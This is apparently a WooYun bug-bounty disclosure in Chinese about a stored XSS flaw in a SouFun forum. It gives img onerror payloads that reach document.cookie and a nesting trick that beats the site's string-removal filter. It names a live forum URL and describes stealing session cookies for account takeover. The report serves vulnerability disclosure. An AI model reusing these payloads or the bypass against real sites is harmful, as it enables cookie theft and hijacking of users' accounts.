WooYun.org

找到某个论坛的链接，然后评论，发现html 没有过滤，可xss.
于是构造

<img src="#" onerror="alert(document.cookie)">

结果发现前台输出的时候会强制替换document.cookie 为空字符串。上面的代码被替换成

<img src="#" onerror="alert()">

但是后台还是存储的原样数据。

<img src="#" onerror="alert(document.cookie)">

恩，接下来就构造代码去绕过简单的字符串了，如：
<img src="#" onerror="alert(document.document.cookie cookie)" />
最后前台替换的时候，替换成这样：
<img src="#" onerror="alert(document. cookie)" />
访问链接 http://bbs.soufun.com/forum~-1/184426020_184426020.htm?viewUserId=42545987
然后页面执行：

如你所见，我们已经拿到cookie了。
那我们拿到cookie之后可以干什么呢？详细的利用见我上一个搜房反射型xss的利用方法。
WooYun: 搜房网存在xss漏洞可导致csrf可导致用户帐号被盗
恩，因为使用cookie验证比较多，cookie丢失之后，获取cookie的用户可以在搜房的各个子系统中进行各种写操作。
个人觉得这个漏洞还挺严重。求通过，求礼物！